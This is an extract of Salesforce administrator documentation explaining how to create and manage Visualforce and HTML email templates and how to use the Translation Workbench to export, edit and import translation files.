To create a Visualforce email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click New Template. 3. Choose Visualforce and click Next. You cant send a mass email using a Visualforce email template. 4. 5. 6. 7. Choose a folder in which to store the template. Select the Available For Use checkbox if you would like this template offered to users when sending an email. Enter an Email Template Name. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 8. Select an Encoding setting to determine the character set for the template. 9. Enter a Description of the template. Both template name and description are for your internal use only. 10. Enter the subject line for your template in Email Subject. 11. In the Recipient Type drop-down list, select the type of recipient that will receive the email template. 12. In the Related To Type drop-down list, optionally select the object from which the template will retrieve merge field data.

482

Divisions

Managing Email Templates

13. Click Save. 14. On the Viewing Email Templates page, click Edit Template. 15. Enter markup text for your Visualforce email template. Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference the copy of the image that is on our server. For example:
<apex:image id="Logo" value="https://na7.salesforce.com/servlet/servlet.ImageServer? id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800" height="64" width="64"/>

16. Click Version Settings to specify the version of Visualforce and the API used with this email template. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this email template. Generally, you should use the default value for all versions. This associates the email template with the most recent version of Visualforce, the API, as well as each managed package. You can specify an older version of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. 17. Click Save to save your changes and view the details of the template, or click Quick Save to save your changes and continue editing your template. Your Visualforce markup must be valid before you can save your template. Note: The maximum size of a Visualforce email template is 1 MB. You cant send a mass email using a Visualforce email template. The {!Receiving_User.field_name} and {!Sending_User.field_name} merge fields work only for mass email and are unavailable in Visualforce email templates.

Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email. If the email template includes encrypted data, keep in mind that the data displays encrypted within the generated email and when viewing the Visualforce template page. It doesn't display in plain text for security purposes. To translate Visualforce email templates based on recipients' or related objects' languages, use the <messaging:emailTemplate> tag's language attribute (valid values: Salesforce supported language keys, for example, en-US). The language attribute accepts merge fields from the email template's recipientType

483

Divisions

Managing Email Templates

and relatedToType attributes. You create custom language fields for use in the merge fields. The Translation Workbench is required to translate email templates.

See Also:
Visualforce Overview Managing Version Settings for Visualforce Email Templates Adding Images to Email Templates Creating Text Email Templates Creating HTML Email Templates Creating Custom HTML Email Templates Viewing Email Templates Cloning Email Templates Creating Letterheads Cloning Email Templates Developer's Guide: Visualforce Developer's Guide

Merge Fields for Visualforce Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Mass email not available in: Personal, Contact Manager, and Group Editions

Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information.

Syntax and Formatting


Merge fields for Visualforce email templates use the same expression language as formulas:
{!Object_Name.Field_Name}

For example, you can start your email template with Hello, {!Contact.FirstName}. When you send the template, each recipient will see their first name in place of the merge field. If your recipients first name is John, he will see Hello, John! when he opens the email.

Tips
You cant send a mass email using a Visualforce email template. {!Receiving_User.field_name} and {!Sending_User.field_name} are used for mass email and arent available for Visualforce email templates. To translate Visualforce email templates based on recipients or related objects languages, use the <messaging:emailTemplate> tags language attribute. Valid values are Salesforce-supported language keys, such as en-us for English (US). The language attribute accepts merge fields from the email templates recipientType and

484

Divisions

Managing Email Templates

relatedToType attributes. You create custom language fields for use in the merge fields. The Translation Workbench

is required to translate email templates.

See Also:
Merge Fields Overview Creating Visualforce Email Templates Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Visualforce Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed To set version settings for Visualforce email templates: Customize Application

To aid backwards-compatibility, each Visualforce email template is saved with version settings for the specified version of Visualforce and the API. If the Visualforce email template references installed managed packages, the version settings for each managed package referenced by the Visualforce component are saved too. This ensures that as Visualforce, the API and the components in managed packages evolve in subsequent versions, a Visualforce email template is still bound to versions with specific, known behavior. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. To set the Salesforce API and Visualforce version for an existing Visualforce email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click the Email Template Name for the Visualforce email template. 3. Click Edit Template and then click Version Settings. 4. Select the Version of the Salesforce API. This is also the version of Visualforce used with this template. 5. Click Save. To configure the package version settings for a Visualforce email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click the Email Template Name for the Visualforce email template. 3. Click Edit Template and then click Version Settings.

485

Divisions

Managing Email Templates

4. Select a Version for each managed package referenced by the Visualforce email template. This version of the managed package will continue to be used by the Visualforce email template if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the Visualforce email template. 5. Click Save. Note the following when working with package version settings: If you save a Visualforce email template that references a managed package without specifying a version of the managed package, the Visualforce email template is associated with the latest installed version of the managed package by default. You cannot Remove a Visualforce email template's version setting for a managed package if the package is referenced by the Visualforce email template.

See Also:
Creating Visualforce Email Templates Creating Text Email Templates Creating HTML Email Templates Creating Custom HTML Email Templates Viewing Email Templates Cloning Email Templates Cloning Email Templates Developer's Guide: Visualforce Developer's Guide

Using the Format Toolbar


Use the formatting toolbar to edit text in HTML. Select the text you wish to format and click the appropriate option described below: Option Font Size Description Choose a character style. Select the text you want applied to a font and then choose the appropriate font. Choose a character size. Select the text you want applied to the size and then choose the size. Insert a graphic from the documents library. This option is not available when doing some actions such as creating custom home page components. Choose a background color Choose a font color Make text bold Make text italic Underline text

486

Divisions

Managing Email Templates

Option

Description Insert a new hyperlink or edit an existing link. Select the text you want to link, click this button, and enter the URL for the link. To use a merge field such as {!Case_Link} as the destination of the link, insert the merge field after the http://. Left justify text Center text Right justify text Bullet a list Number a list Increase text indent Decrease text indent

Creating Custom HTML Email Templates


Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed To create or change custom HTML email templates: To create or change public email template folders: Edit HTML Templates Manage Public Templates

To create a custom HTML email template: 1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click New Template. 3. Choose Custom (without using Letterhead) and click Next. 4. Choose a folder in which to store the template. 5. Select the Available For Use checkbox if you would like this template offered to users when sending an email. 6. Enter an Email Template Name. 7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with

487

Divisions

Managing Email Templates

a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. 8. Select an Encoding setting to determine the character set for the template. 9. Enter a Description of the template. Both template name and description are for your internal use only. The description is used as the title of any email activities you log when sending mass email. 10. Click Next. 11. Enter the Subject to appear in the email you send. 12. Enter the HTML source text to appear in the message you send. This should include all the HTML tags. Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference the copy of the image that is on our server. For example:
<img src="https://na2.salesforce.com/servlet/servlet.ImageServer? id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo" height="64" width="64"/>

13. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see Merge Fields Overview on page 464. 14. Click Next. 15. Optionally, enter the text-only version of your email or click Copy text from HTML version to automatically paste the text from your HTML version without the HTML tags. The text-only version is available to recipients who are unable to view HTML emails. Warning: Salesforce.com recommends that you leave the text-only version blank. If you leave it blank, Salesforce automatically creates the text-only content based on the current HTML version. If you don't leave the text-only version blank and instead manually enter content, subsequent edits to the HTML version aren't reflected in the text-only version. 16. Click Save. Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose and send a test email. Note: Users cannot modify the content of a custom HTML template when they select it for use in an email.

See Also:
Adding Images to Email Templates Creating Text Email Templates Creating HTML Email Templates Creating Visualforce Email Templates Creating Letterheads Cloning Email Templates

488

Divisions

Managing Email Templates

Cloning Email Templates


Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed To create or change HTML email templates: To create or change Visualforce email templates: To create or change public email template folders: Edit HTML Templates Customize Application Manage Public Templates

Cloning an email template involves saving an existing email template with a new name. To clone an email template: 1. To manage your personal email templates, click Your Name > Setup > Email > My Templates. If you have permission to manage public email templates, click Your Name > Setup > Communication Templates > Email Templates. 2. Click the name of an email template in the list. 3. Click Clone. 4. Choose a folder in which to store the template. 5. Select the Available For Use checkbox if you would like this template offered to users when sending an email. 6. Enter an Email Template Name. 7. Enter a Description for the template. Both template name and description are for internal use only. 8. Click Save.

See Also:
Managing Email Templates Creating HTML Email Templates Creating Text Email Templates Creating Custom HTML Email Templates Creating Visualforce Email Templates

489

Divisions

Managing Email Templates

Adding Images to Email Templates


Available in: All Editions except Database.com Mass email not available in: Personal, Contact Manager, and Group Editions HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed To create or change HTML email templates: To create or change Visualforce email templates: To create or change public email template folders: Edit HTML Templates Customize Application Manage Public Templates

You can include images or logos on your HTML and Visualforce email templates. For HTML with letterhead templates, logos or images come from the letterhead you choose when creating the template. When creating custom HTML or Visualforce templates, simply include img tags that reference the image. We recommend uploading the images to the Documents tab and referencing the copy of the image on the Salesforce server. For example, for HTML:
<img src="https://na2.salesforce.com/servlet/servlet.ImageServer? id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo" height="64" width="64"/>

Visualforce example:
<apex:image id="Logo" value="https://na7.salesforce.com/servlet/servlet.ImageServer? id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800" height="64" width="64"/>

See Also:
Creating HTML Email Templates Creating Custom HTML Email Templates Creating Visualforce Email Templates

Email Template Fields


An email template has the following fields, listed in alphabetical order. Field
API Version

Description (Visualforce email templates only) Displays the version number of the Force.com API the template was created under.

490

Divisions

Managing Email Templates

Field
Author Available for Use Created By Description

Description The person who created the template. Indicates if users can use the template when sending emails. The name of the user who created the template. Description of the template. This text is used as the title of any activities logged when sending mass email. The Activity History item displays as Mass Email: {Template Description}. This is a unique name used to refer to the component when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected in a subscriber's organization. (HTML email templates only) Name of the column layout sample that decides the text columns. Indicates the character set for the email template. The place where the template is stored. The most recent date that any user sent an email using the template. (HTML email templates only) Name of the letterhead that decides the logo, colors, and text settings. See Letterhead Fields on page 473 for more details. The name of the user who last modified the template. The namespace prefix used by the email template within the API. Subject of the email. This text appears in the Subject field of every email sent with this template. It is also used as the title of an activity logged when sending a single email. The Activity History item displays as Email: {Template Subject}. The subject is not stored in Activity History items that you log when sending mass email. Name to identify the template. Body of the email. This text appears in the body of every email sent with this template. The maximum size is 384 KB.

Template Unique Name

Email Layout

Encoding Folder Last Used Date

Letterhead

Modified By Namespace Prefix

Subject

Email Template Name Text Body

491

Translation Workbench

Setting Up the Translation Workbench

Field
Times Used

Description The total number of times that users have sent emails using the selected template. This includes single and mass emails.

See Also:
Managing Email Templates Merge Fields for Email Templates

TRANSLATION WORKBENCH
Setting Up the Translation Workbench
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add or edit languages: To assign translators: To export or import translation files: To translate terms: Manage Translation Manage Translation Manage Translation View Setup and Configuration AND Be designated as a translator To override terms: View Setup and Configuration AND Customize Application

The Translation Workbench lets you specify languages you want to translate, assign translators to languages, create translations for customizations youve made to your Salesforce organization, and override labels and translations from managed packages. Everything from custom picklist values to custom fields can be translated so your global users can use all of Salesforce in their language. Tip: When creating a custom report type that will be translated into multiple languages via the Translation Workbench, we recommend that your personal language setting matches your organization's default language. This ensures that words that will be translated display in the correct language for translators. For more information, see Editing Your Personal Information on page 30 and Company Information Fields on page 446.

492

Translation Workbench

Setting Up the Translation Workbench

When a customized component is translated, changes to that component are tracked and the Out of Date indicator is set when the translations need updating. You can manage translated values for any of Salesforce supported languages. Note: Custom objects are not available in the translation workbench. Use the rename tabs and labels interface or the IDE for custom object translation. Translation Workbench is not available for single-language organizations. If you arent sure whether you have a single-language or multi-language organization, contact salesforce.com. Enabling the Translation Workbench makes some changes to your Salesforce organization: Picklist values must be edited individually. This means you cant mass edit existing picklist values, though you can still mass add new values. When picklist values are sorted alphabetically, the values are alphabetical by the organization's default language. Reports have a Filter Language drop-down list in the Filters pane of the report builder. Selecting a language will filter on translated strings for any filter criteria that use the "starts with," "contains," or "does not contain" operator. Import files have a Language drop down and all records and values within the import file must be in that language. Web-to-Lead and Web-to-Case have a Language drop down before you generate the HTML. Note: Salesforce assumes all customizations are entered in the organization's default languageglobal administrators should work together in the organization's default language. To enable the Translation Workbench: 1. Click Your Name > Setup > Translation Workbench > Translation Settings. 2. On the welcome page, click Enable. Note: The Manage Translation permission is enabled by default in the System Administrator profile.

To disable the Translation Workbench, click Your Name > Setup > Translation Workbench > Translation Settings > Disable. Note: In a Developer organization with a managed package containing translations, once the Translation Workbench is enabled, it can't be disabled.

See Also:
Adding and Editing Translated Languages and Translators Entering Translated Terms Entering Overrides to Translations in Managed Packages Updating Translated Terms Administrator tip sheet: Setting Up the Translation Workbench Localizing with the Force.com IDE Salesforce Globalization Overview

493

Translation Workbench

Adding and Editing Translated Languages and Translators

Adding and Editing Translated Languages and Translators


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add or edit languages: Manage Translation

Use the Translation Workbench to add languages that you support, activate or deactivate a language, assign translators for that language, and enter translated terms for customizations you've made in your organization's default language. Note: The Manage Translation permission is enabled by default in the System Administrator profile.

To add or edit translated languages and translators: 1. 2. 3. 4. Click Your Name > Setup > Translation Workbench > Translation Settings. Click Add to activate a new language or Edit to change an existing supported language. If adding a new language, choose a language. To make the entered translations available to your users - select Active. Users can change their personal language anytime whether or not it's active in the Translation Workbench. Selecting Active makes the translations available to the users in that language. Tip: We recommend you don't make a language active until the translators have translated all values.

5. To assign translators for this language, select them from the Available List and click Add. If you don't see the member you want to add, enter keywords in the search box and click Find. Important: Ensure all translators have the "View Setup and Configuration" permission so that they can begin translating. Users can only translate languages they're assigned to. 6. Click Save.

See Also:
Setting Up the Translation Workbench Entering Translated Terms Entering Overrides to Translations in Managed Packages Updating Translated Terms

494

Translation Workbench

Translatable Customizations

Translatable Customizations
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To translate terms: View Setup and Configuration AND Be designated as a translator To override terms: View Setup and Configuration AND Customize Application

To view the translatable customizations in your organization, select Your name > Setup > Translation Workbench > Translate > Setup Component. Then, if needed, select Object, Custom Report Type Entity, or Aspect. You can translate the following components. Apex Sharing Reasons Button and Link Labels Custom App Labels Custom Field Help Custom Fields Custom Report Types Data Categories Data Category Groups Divisions Layout Sections Lookup Filters Picklist Values Record Types Related List Labels S-Controls Solution Categories Standard Field Help Validation Error Messages Web Tabs Workflow Tasks

495

Translation Workbench

Entering Translated Terms

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited.

See Also:
Setting Up the Translation Workbench Entering Translated Terms Entering Overrides to Translations in Managed Packages Exporting Translation Files

Entering Translated Terms


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To translate terms: View Setup and Configuration AND Be designated as a translator

To enter translations: 1. Click Your Name > Setup > Translation Workbench > Translate. 2. Select the Language you're translating into. 3. Select a Setup Component. Click the pull-down menu to select from the list of translatable customizations. See Translatable Customizations for a complete list of possible customizations. 4. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect (Subject or Comment). 5. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or SHIFT-TAB to go to the previous editable field. Note: The Out of Date column indicates that the item has been updated and the term may need translating. When editing a button or link label, you see the Button or Link Name column, which is used to refer to the component when using the SOAP API.

496

Translation Workbench

Entering Overrides to Translations in Managed Packages

6. Click Save.

See Also:
Setting Up the Translation Workbench Adding and Editing Translated Languages and Translators Entering Overrides to Translations in Managed Packages Updating Translated Terms

Entering Overrides to Translations in Managed Packages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To override terms: View Setup and Configuration AND Customize Application

Although you can't edit labels or translations in a managed package, they are controlled by the developer, you can override them with the Translation Workbench. For example, if there is a custom field in a package you'd like to change, you can override it. To enter overrides to managed packages: 1. 2. 3. 4. Click Your Name > Setup > Translation Workbench > Override. Select the Package you are overriding. Select the Language you're entering your overrides in. Select a Setup Component. Click the pull-down menu to select from the list of translatable customizations. See Translatable Customizations for a complete list of possible customizations. 5. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect (Subject or Comment). 6. Double click in the override column to enter new values. You can press TAB to advance to the next editable field or SHIFT-TAB to go to the previous editable field. Note: The Out of Date column indicates that the item has been updated and the term may need to be changed. When editing a button or link label, you see the Button or Link Name column, which is used to refer to the component when using the SOAP API. 7. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or SHIFT-TAB to go to the previous editable field. Note: The Out of Date column indicates that the item has been updated and the term may need translating. When editing a button or link label, you see the Button or Link Name column, which is used to refer to the component when using the SOAP API.

497

Translation Workbench

Updating Translated Terms

8. Click Save.

See Also:
Setting Up the Translation Workbench Adding and Editing Translated Languages and Translators Entering Translated Terms Updating Translated Terms

Updating Translated Terms


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To override terms: View Setup and Configuration AND Customize Application

When translated components are changed, the translated value is marked Out of Date. Translators are responsible for keeping the translated terms updated. For best results, have your translators check their translations frequently, and be sure to notify them when changes occur. You can use the Translation Workbench Export > All feature to generate a list of all the translatable customizations and their associated Out of Date states.

See Also:
Setting Up the Translation Workbench Adding and Editing Translated Languages and Translators Entering Translated Terms Entering Overrides to Translations in Managed Packages

498

Translation Workbench

Exporting Translation Files

Exporting Translation Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To export or import translation files Manage Translation AND Customize Application

Use Export in the Translation Workbench to create files that contain your organizations translatable custom metadata, such as custom fields, report types, and picklist values. Send these files to your outside translators or translation agency for bulk translation activities, then use Import to update your labels. 1. Go to Your name > Setup > Translation Workbench > Export. 2. Select which labels you want to export. SourceUsed as the initial source for creating new translations. Creates a single file that contains a list of all your translatable customizations. Typically, the content is in your organization's default language. UntranslatedUsed to make updates. Creates a set of files that contain only customizations that have not been translated, including new and modified customizations. One file is created for each language. These files are then compressed into .zip files. AllUsed for reference and reviewing all your untranslated and translated customizations. Creates a list of all the translatable labels in their current translated or untranslated state. One file is created for each language. These files are then compressed into .zip files. The content in each file is divided into Untranslated and Translated sections. Each translatable label is in either the Untranslated or Translated section, according to its translation state. In the Translated section, out of date status for the labels in included. 3. Click Export. A status message tells you that the export is being processed. When the export is complete an email is sent to the email address specified in your profile. 4. Locate the exported .stf or .zip file. Go to Your name > Documents > Document Folders > My Personal Documents > Go!. All exported files indicate the Export option used to create them and are date and time stamped. Individual files end with the extension .stf. Multiple files are grouped into .zip files. If you have a large number of documents in your personal documents area, you'll find the exported files under the sort letter:

499

Translation Workbench

Editing Translation Files

AAll export option, for example: All_2010-09-23_11:20.zip. SSource export option, for example: Source_en_US_2010-09-23_11:20.stf. UUntranslated export option, for example: Untranslated_2010-09-23_11:20.zip.

5. Save the files for translation by your translators or translation agency. Click View > Save File > OK. The file is saved to the location specified by your browser. For example, C:/Users/username/Downloads.

See Also:
Setting Up the Translation Workbench Importing Translated Files

Editing Translation Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To override terms: View Setup and Configuration AND Customize Application

You use the following types of files to translate customization labels and review translations: Source: Use to translate labels for the first time. Untranslated: Use to translate labels after the first translation pass. Bilingual: Use to review and edit translations.

Translation files are identified by the extension .stf, to represent the Salesforce translation format. A translation filename includes the name of the export option used to create it, the language code for the file's content, and a date stamp. Multiple .stf files created with the Untranslated and Bilingual options are compressed into zip files up to 5 MB in size. If multiple zip files are needed, the zip filenames are each date stamped and incremented. For example, Untranslated
20100920 05:13 1of2.zip

Warning: Consider the following when editing your .stf files: Don't change the .stf file extension. If you use tabs, new lines, or carriage returns in your text for translation, notice that they are represented with special characters in the .stf file format. Tabs are \t, new lines are \n and carriage returns are \r. To ensure consistency between your language versions, ensure these characters are maintained in your translations.

500

Translation Workbench

Editing Translation Files

Working with the Source File


Use the Source file to translate an organization's labels for the first time. The Source file contains labels for all of an organization's translatable customizations in the organization's default language. If you aren't using a standard translation tool such as Trados, work with the file using an application that supports tabs and word wrap, such as WordPad or MS Excel. Note: If you use MS Excel to enter translations in your .stf file, your file format may be corrupted. MS Excel automatically adds quotation marks around entries that have commas. We advise you open your files in a text editor before import and remove these quotation marks if they have been added. The import will fail if these quotation marks are not removed. To prepare the Source file for your translators: Create one copy of the Source file for each language you are translating into. In the header of each Source file, change the language code from the organization's default language (such as en_US) to the translation language (such as fr).

Tell your translators to replace the untranslated values in the LABEL column with translated values. Note: Don't add columns to or remove columns from the translation file.

Column KEY LABEL

Description Unique identifiers for labels Labels that are visible to end users

Edit Options Do not edit Replace untranslated values with translated values

Working with the Untranslated File


Use the Untranslated file to translate labels that haven't been translated. One Untranslated file is generated for each language. When multiple files are generated, they're exported to a .zip file containing .stf files for each translation language. If you aren't using a standard translation tool such as Trados, work with the file using an application that supports tabs and word wrap, such as WordPad or MS Excel. Note: If you use MS Excel to enter translations in your .stf file, your file format may be corrupted. MS Excel automatically adds quotation marks around entries that have commas. We advise you open your files in a text editor before import and remove these quotation marks if they have been added. The import will fail if these quotation marks are not removed. Tell your translators to replace the untranslated values in the LABEL column with translated values. Note: Don't add columns to or remove columns from the translation file.

Column KEY LABEL

Description Unique identifiers for labels Labels that are visible to end users

Edit Options Do not edit Replace untranslated values with translated values

501

Translation Workbench

Editing Translation Files

Working with the Bilingual File


Use the Bilingual file to review translations, edit labels that have already been translated, and add translations for labels that haven't been translated. One Bilingual file is generated for each translation language. The TRANSLATED section of the file contains the text that has been translated and needs to be reviewed. The UNTRANSLATED section of the file contains text that hasn't been translated. Edit the file using an editing application that supports tabs and word wrap, such as WordPad or MS Excel. Note: If you use MS Excel to enter translations in your .stf file, your file format may be corrupted. MS Excel automatically adds quotation marks around entries that have commas. We advise you open your files in a text editor before import and remove these quotation marks if they have been added. The import will fail if these quotation marks are not removed. Identify labels that are out of date by scrolling through the OUT OF DATE column to locate values that have an asterisk (*). Update out of date labels as needed. Edit translated labels in the TRANSLATION column of the TRANSLATED section. Replace untranslated labels with translated values in the LABEL column of the UNTRANSLATED section. Delete a translation by replacing the desired value in the TRANSLATION column in either section with a left and right angle bracket pair (< >). When the Bilingual file is imported, the label reverts to its original value. Attention: Don't attempt to delete a translation by deleting a translated label from the file. Deleting a translation in the file doesn't remove the translation from the application after the file is imported.

Note: Don't add columns to or remove columns from the translation file.

Column KEY LABEL

Description Unique identifiers for labels Labels that are visible to end users

Edit Options Do not edit Do not edit labels in the TRANSLATED section of the file In the UNTRANSLATED section of the file, replace untranslated labels with translated values In the TRANSLATED section of the file, edit current translations In the UNTRANSLATED section of the file, add translations

TRANSLATION

Current translation

502

Translation Workbench

Importing Translated Files

Column OUT OF DATE

Description Indicates whether the source text has changed since the previous translation. The out of date indicators are: An asterisk (*): The label is out of date. A change was made to the default language label and the translation hasn't been updated. A dash (-): The translation is current.

Edit Options Do not edit

See Also:
Setting Up the Translation Workbench Exporting Translation Files Importing Translated Files What languages does Salesforce support?

Importing Translated Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To export or import translation files Manage Translation AND Customize Application

Use Import in the Translation Workbench to import and update the translations for your organizations custom metadata, such as custom fields, report types, and picklist values. Typically, the original files are created through the Export feature, then sent to your outside translators or translation agency for bulk translation activities and returned to you for importing. 1. Bundle multiple files into .zip files that are no larger than 5 MB. Create multiple .zip files as needed. The zipped files don't have to be in the same order or grouping as the exported .zip files. For example, you start with two exported .zip files. The first file includes French, Italian, and Japanese. The second file includes Russian, Simplified Chinese, and Greek. You can create: One .zip file with French, Greek, and Italian. One .zip file with Russian and Greek. One .zip file with Simplified Chinese.

2. Go to Your name > Setup > Translation Workbench > Import. 3. Click Browse to locate and select the file you want to import.

503

Translation Workbench

Troubleshooting Issues with Exporting and Importing Translation Files

4. Click Import. After the import is complete: The labels are updated with the translations. A confirmation email is sent to the email address specified in your profile.

5. Verify the imported changes have been implemented. You can: Check labels in your Salesforce organization. Check labels through the Translation Workbench.

See Also:
Setting Up the Translation Workbench Exporting Translation Files

Troubleshooting Issues with Exporting and Importing Translation Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To export or import translation files Manage Translation AND Customize Application

Use this table to troubleshoot issues you might encounter while exporting and importing files in the Translation Workbench. Error Message Bilingual File starts with non-section header row: {0} What It Means The header rows of the file youre trying to import are missing, or there is extraneous text (such as notes that aren't commented out) in those rows. Troubleshooting Steps Export your file again and make sure there are header rows for all sections, and that all extraneous text has been commented out or removed from the header rows.

Duplicate key: {0} exists in import file, please re-export.

The specified key appears in your Export your file again and make sure that imported file more than once. Each each key in it is unique, and then translated item needs to have its own re-import the file. unique key, and each key can only appear in the file one time.

504

Translation Workbench

Troubleshooting Issues with Exporting and Importing Translation Files

Error Message Invalid Key

What It Means

Troubleshooting Steps

During translation, Salesforce generates Export your file again and make sure the unique keys, or identifiers, for each keys in it match those in the file youre object, picklist value, or page element trying to import. youre translating. If these names or keys are changed after you export your file, Salesforce cant match the correct key with the correct name.

Key: {0} could not be uniquely resolved. One of the keys in your Custom Report Export your file again and make sure This is caused by a change to our Custom Type (CRT) column is in the wrong youre using the correct CRT key format. Report Type Column key format. Please format. re-export and use the new key format for those keys. Maximum character limit {x} for {field type} translation exceeded in line: Each type of field, such as a picklist Edit your translated labels so theyre value, can only have a certain number of within the character limit listed for the characters. Your translated labels for the field type and import your file again. type of field at the line specified in the error message are too long. The file youre trying to import is empty Make sure youre importing the correct or does not contain any translation file, and that it contains translated data. changes.

No data to import

No language code specified in file header The file youre trying to import doesnt Make sure your language code is valid have a valid language code, or the and isn't missing or commented out. language code is in the wrong place. No translated or untranslated section header found in the bilingual file The file youre trying to import is missing Make sure your file has section headers section headers. and import it again.

No valid file type specified in file header The file youre trying to import doesnt Make sure your file has a valid have a valid import/export type (Source, import/export type in the file header, and Untranslated, or Bilingual) specified in that the header did not get translated. the file header. The file type should be in the default language for your organization. Not a valid file to import. Please select a You can only import files in .stf format Make sure your file is a .stf or a .zip file .stf or a .zip file for import. or .zip files that contain .stf files. and try importing it again. Wrong number of columns in line: {x}. The file youre importing has extra tabs, Check that you have escaped tabs (\\t), newlines, or carriage returns in the line new lines (\\n), and carriage returns (\\r) specified in the error message. in your files. Your export request failed. Please retry or contact support. Salesforce had an unexpected problem while exporting your file. Edit your data to remove or escape any extra tabs, newlines, or carriage returns, and make sure the file youre importing has the same number of columns as the file you exported. Contact Salesforce Customer Support. Contact Salesforce Customer Support.

Your import request failed. Please retry Salesforce had an unexpected problem or contact support. while importing your file.

505

Translation Workbench

Salesforce Globalization Overview

Error Message Your organization does not have language permissions for {language}.

What It Means The file youre trying to import is in a language you havent yet added to the Translation Workbench.

Troubleshooting Steps Add the language you want to use to the Translation Workbench and import your file again.

See Also:
Adding and Editing Translated Languages and Translators Exporting Translation Files Importing Translated Files

Salesforce Globalization Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add or edit languages: To assign translators: To export or import translation files: To translate terms: Manage Translation Manage Translation Manage Translation View Setup and Configuration AND Be designated as a translator To override terms: View Setup and Configuration AND Customize Application

There are multiple tasks that you can perform to globalize Salesforce.

Changing an Organization's Default Language


As an administrator, you can change your organization's default language. The default language is assigned to all new users. The labels in the application display in the language selected by the user and are not changed by changing the default language. As an end user, you can change your language. All default labels are displayed in the selected language. Customizations must be translated in order for them to appear in any language other than the default language.

Translating Customizations
You can translate customizations by using either the Translation Workbench or Force.com IDE.

506

User Management

User Management Overview

If you need to translate a small number of customizations, you can use the Translation Workbench's point-and-click interface to translate them quickly and easily. For information, see Entering Translated Terms on page 496. If you need to translate a large number of customizations into multiple languages, we recommend that you use either of the following tools: The Translation Workbench Export and Import options are useful if you prefer to manage translations by using an administrative user interface and adding translations to easy-to-use translation files. See Translation Workbench Export and Import Quick Start Guide. The Force.com IDE is useful if you are already using the Force.com IDE, or prefer to manage translations by using a developer interface and adding translations to an XML file. See Localizing with the Force.com IDE.

Translating Custom Labels


